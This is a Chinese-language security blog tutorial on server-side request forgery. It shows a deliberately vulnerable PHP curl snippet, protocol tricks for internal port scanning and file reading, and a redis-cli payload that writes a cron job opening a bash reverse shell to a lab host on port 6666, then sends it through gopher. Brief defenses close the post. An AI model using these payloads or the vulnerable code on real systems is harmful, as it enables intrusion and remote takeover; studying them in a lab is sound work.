linux curl get请求_SSRF(服务器请求伪造)

本文介绍了SSRF(Server-Side Request Forgery)漏洞的原理及其利用方式,包括如何利用SSRF漏洞进行端口扫描、读取敏感文件及攻击内网应用程序,并提供了具体的代码示例。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

大家好

我是早上渗透工程师、晚上健身教练、凌晨工厂保安的铁人三项打工仔。

9f75bd9ce19a8a7bface3547b3f06a05.png

1、漏洞原理

        SSRF(Server-Side Request Forgery,服务器请求伪造)是一种由攻击者构造请求,由服务端发起请求的安全漏洞,一般情况下,SSRF攻击的目标是外网无法访问的内网系统(正因为请求时由服务端发起的,所以服务端能请求到与自身相连而与外网隔绝的内部系统)

2、漏洞利用方式

1. 对其他外网主机,或者是对内网/本地主机进行断开扫描。

2. 利用file协议读取本地的敏感文件。

3. 攻击运行在内网或者本地不对外网开放的应用程序。

3、漏洞分析

        在例子中,应用获取GET参数url,通过curl_init()初始化curl组件后,通过调用curl_exec请求该url,服务器端会去请求url返回一些信息。

代码如下:

$aa = curl_init();

curl_setopt($aa, CURLOPT_URL,$_GET['url']);

curl_setopt($aa, CURLOPT_HEADER, 0);

curl_exec($aa);

curl_close($aa);

;?>

4、漏洞利用方式

http://192.168.124.145/ssrf.php?url=http://www.baidu.com

实现功能通过GET参数获取url内容,然后再服务器端访问http://www.baidu.com

cbe5968fdb695d0699701f4572cdc328.png

5、支持的协议

1. http

能进行内网端口的探测-可以通过返回的时间以及返回的长度判断哪些端口开放

9635e95087ed1437f35a26e25ae0241b.png

2. ftp

由于FTP协议对返回时间的长短比较精确,可以使用自动化的脚本来进行内网的端口扫描

8a7f2a625406d45a1261d49f7da6418f.png

caf0cd00546f98bb26592d91a98b9886.png

3. dict

能进行内网端口的探测-可以探测到具体的版本号等等信息。

f9ef5d06d98d15ade95e7a5bc8600247.png

4. file

能够读取文件

b2b66706a9405644ecfb7e5c7c05d3c3.png

c87130d3d98107f9df8eebf1ccb99e14.png

5. gopher

能进行内网端口的探测-可以发送get或者来攻击内网的redis等服务。

b33d88fa52dd88f590c5017626ad1122.png

6、使用ssrf攻击内网redis服务geteshll

        在redis默认是无密码的服务,可以通过未经授权访问,写计划任务弹shell。以下是在普通情况下的getshell,使用payload代码如下:

echo -e "\n\n\n*/1 * * * * bash -i   >&   /dev/tcp/192.168.124.129/6666   0>&1  \n\n\n"  |redis-cli -h 127.0.0.1 -p 6379 -x set 1

redis-cli -h 127.0.0.1 -p 6379 config set dir /var/spool/cron/

redis-cli -h 127.0.0.1 -p 6379 config set dbfilename root

redis-cli -h 127.0.0.1 -p 6379 save

redis-cli -h 127.0.0.1 -p 6379 quit

583a54737e88b3bf8085f8d92332d564.png

然后在计划任务中,

53b8b3489a324d74d8e9d87d6bec914b.png

监听6666端口,获得shell

e63ac13e6e08e463fbbc18afe66f9e8a.png

在普通环境中,攻击无密码的redis服务写计划任务getshell就是以上的流程。

再利用gopher协议下的SSRF如何攻击redis服务getshell

先将上面的脚本转化城gopher协议所支持的格式:

813a76c6358bd972aeaa9f2c0b7b4cdf.png

Github脚本:https://github.com/tarunkant/Gopherus

再用bp进行一次URL编码,然后进行访问,再去靶机看看计划任务这时候已经生成

c4e801c09b96590d9d1613fb7b965a98.png

监听4444端口后反弹了shell

aa7c4a8e0bc4ce164c2933272147ce44.png

漏洞防御策略

1. 限制请求的协议,只允许http或者https协议请求

2. 限制不能访问内网IP,以防止对内网主机的攻击,同时也屏蔽IP的十进制输出。

3. 屏蔽返回的详细信息。

76e110386cd1e436653a7ce0419fdc4d.png


手握日月摘星辰,安全路上永不止步。

                                                   - Khan攻防安全实验室

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值